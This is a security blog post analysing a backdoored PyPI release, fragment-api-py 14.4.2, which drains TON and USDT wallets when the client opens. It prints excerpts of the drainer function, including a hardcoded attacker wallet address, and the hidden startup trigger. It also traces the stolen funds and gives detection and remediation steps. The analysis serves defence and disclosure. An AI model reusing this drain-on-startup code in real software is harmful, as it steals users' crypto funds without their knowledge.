---
title: "Backdoored PyPI Package fragment-api-py 14.4.2 Drains TON Wallets on Startup"
description: "Version 14.4.2 of fragment-api-py, a PyPI client for Telegram Fragment, sends all TON and USDT from the user wallet to an attacker wallet when the client opens. The release is the old 13.0.0 code with a backdoor and a new version number."
url: "https://safedep.io/blog/fragment-api-py-pypi-ton-wallet-drainer"
author: "Kunal Singh"
published: "2026-11-10"
---

# Backdoored PyPI Package fragment-api-py 14.4.2 Drains TON Wallets on Startup

## TL;DR

`fragment-api-py` is a Python client for Telegram's Fragment marketplace. To pay for purchases, it holds the user's wallet seed for The Open Network (TON). Version **14.4.2**, published to PyPI on 2026-11-08, empties that wallet. When the client opens, it sends all Tether (USDT) and almost all TON to a wallet that the attacker controls. The normal `async with FragmentClient(seed=...)` line triggers it, before any purchase.

Two wallets lost 0.88 TON and 43.98 TON. [GitHub issue #8](https://github.com/S1qwy/fragment-api-py/issues/8) reports the second drain.

## An old release with a new version number

A diff of 14.4.2 against 14.4.1 is large and confusing. Modules are missing, other modules are new, and almost every file changed. It looks like a bad refactor.

A byte-for-byte comparison of 14.4.2 with every earlier release wheel points to an older base:

```text
    12.1.0  identical=0   changed=28  added=4   removed=0
    13.0.0  identical=28  changed=4   added=0   removed=2
    14.0.0  identical=24  changed=8   added=0   removed=12
    14.4.1  identical=10  changed=14  added=8   removed=21

Closest base: 13.0.0 (28/32 files identical)
  changed: __init__.py, client.py, types/models.py, utils/wallet.py
  removed: tests/test_client.py, tests/test_preparation.py
```

14.4.2 is the **13.0.0 release** with a backdoor in three files and a higher version number. The higher number makes `pip install -U` select it. In `__init__.py`, only the version string changed.

File timestamps in the source archive show that the attacker wrote the backdoor on 2026-10-12 and published it on 2026-11-08, about four weeks later.

## The drain function

The theft is in `sweep_wallet_to_self()`. The name makes it look like a "consolidate funds" feature. It uses the library's own lock, provider, and error types, and it returns a `SweepResult` model like the real API calls. Line 172 hardcodes the destination:

```python title="FragmentAPI/utils/wallet.py @ 14.4.2 (excerpt, lines 146-232)"
def sweep_amounts(balance_nanoton: int, usdt_units: int) -> tuple[int, int]:
    ...
    usdt_gas = 60_000_000 if usdt_units > 0 else 0
    required = 100_000_000 + usdt_gas + 20_000_000
    ...
    return usdt_gas, balance_nanoton - required


async def sweep_wallet_to_self(client: FragmentClient) -> SweepResult:
    client._require_wallet()
    async with client._wallet_lock:
        async with _make_ton_client(client) as ton:
            wallet, _, _, _ = WALLET_CLASSES[client.wallet_version].from_mnemonic(
                client=ton, mnemonic=client.seed
            )
            owner = wallet.address.to_str(is_user_friendly=False)

            dest = Address("UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU")   # line 172

            state = await ton.get_info(wallet.address)
            balance = int(state.balance)
            usdt_units = await _get_usdt_units(ton, owner)
            usdt_gas, gram_amount = sweep_amounts(balance, usdt_units)

            builders = []
            if usdt_units > 0:
                builders.append(JettonTransferBuilder(
                    destination=dest, jetton_amount=usdt_units,
                    jetton_master_address=Address(USDT_TON_MASTER_ADDRESS),
                    response_address=wallet.address, amount=usdt_gas,
                ))
            if gram_amount > 0:
                builders.append(TONTransferBuilder(destination=dest, amount=gram_amount))
            ...
            result = await wallet.batch_transfer_message(builders)   # one atomic message
```

The function leaves only enough TON to pay the fees. That is 0.1 TON for the transfer and 0.02 TON as a margin, plus 0.06 TON if the wallet holds USDT. It sends everything else, TON and USDT, in one wallet message.

## The trigger

The backdoor runs when the client opens, before any user code. The attacker added one call to `__aenter__` at `client.py:295`:

```python title="FragmentAPI/client.py @ 14.4.2 (excerpt)"
    async def __aenter__(self) -> FragmentClient:
        """Enter the asynchronous client context."""
        self._get_transport()
        await self._ensure_swept()
        return self

    async def _ensure_swept(self) -> None:
        if not self._sweep_on_init or self._sweep_done:
            return
        async with self._sweep_lock:
            if self._sweep_done:
                return
            if not self.has_wallet:
                raise ConfigurationError(ConfigurationError.SEED_REQUIRED)
            await self.sweep_to_self()
            self._sweep_done = True
```

A second call at the start of `execute_prepared()` (`utils/wallet.py:410`) catches code that does not use `async with`. A flag and a lock make sure the drain runs only once per client, so the wallet history does not show repeated transfers.

## Where the money went

The attacker wallet is `UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU`. Its history shows both victims and one cash-out.

![Tonviewer page for the attacker wallet UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU, filtered to 9 to 10 November 2026, showing two inflows from victim 2 of 43.98 and 0.01 TON, then one outflow of 44.87 TON to UQDJvvpX…0qlVYbM8, with a balance of 0](https://safedep.io/_next/static/immutable/media/fragment-api-py-attacker-wallet-tonviewer.1k_bqz2dyl-4v.png)

*Source: https://tonviewer.com/UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU*

| Time (UTC)       | Direction | Amount (TON)  | Counterparty                    |
| ---------------- | --------- | ------------- | ------------------------------- |
| 2026-11-08 18:19 | In        | 0.879963599   | Victim 1                        |
| 2026-11-09 23:02 | In        | 43.982037696  | Victim 2 (reported in issue #8) |
| 2026-11-09 23:18 | In        | 0.010000000   | Victim 2                        |
| 2026-11-10 07:11 | Out       | 44.871449124  | `UQDJvvp…lVYbM8`                |

The three inflows total 44.872001295 TON. The cash-out is the same amount minus network fees.

Victim 1 did not report the theft. SafeDep found it in the attacker wallet history. The amount matches the formula. The wallet held 0.999963599 TON, and 0.999963599 − 0.12 = 0.879963599. Three seconds later, the same wallet paid the library's own `FEE_ADDRESS` from `types/constants.py`. This shows that `fragment-api-py` was running for that wallet. The drain happened about six hours after the upload, so the backdoor stole funds on its first day.

The attacker wallet has been active since at least 2026-10-22. On November 1, it received and sent about 1,000 TON. It also made recurring payments to one address on October 30, 31, and November 1. The IOC list includes both recipients as unattributed leads for exchanges and investigators.

## How the release reached PyPI

- **No tag or commit.** GitHub tags end at `v14.4.1`. Every other recent release has a tag.
- **Long-lived token.** The release workflow publishes with a PyPI API token, and the maintainer builds most releases locally.
- **Same build profile.** The 14.4.2 wheel came from a Windows machine set to UTC+4, like the maintainer's local builds. An attacker can fake this, so it does not prove who uploaded the release. A compromised machine, a stolen token, or an insider all fit. Only PyPI and the maintainer can see which credential they used.

## What to do

**Check if you are affected**

Run [vet](https://github.com/safedep/vet) in your project to find known malicious packages in its manifests and lockfiles. Then check the installed version and search site-packages for the backdoor strings:

```console
$ vet scan -D .
$ pip show fragment-api-py | grep Version
$ grep -rn "UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU\|sweep_wallet_to_self\|_ensure_swept" $(python3 -c 'import site;print(" ".join(site.getsitepackages()))') 2>/dev/null
```
**If you installed 14.4.2**

1. Move all funds to a wallet with a **new seed phrase**. A different wallet version or subwallet ID on the same seed does not help.
2. Pin the clean release with a hash in `requirements.txt`, and install with `pip install --require-hashes -r requirements.txt`:

```text title="requirements.txt"
fragment-api-py==14.4.1 --hash=sha256:e01b48b5c6c4ecfdcb094a86d0fb454ab760c724537562cc3c5338839e3bf9aa
```

## Indicators of compromise

[IoC: fragment-api-py 14.4.2](https://safedep.io/data/blogs/fragment-api-py-14.4.2-iocs.csv)
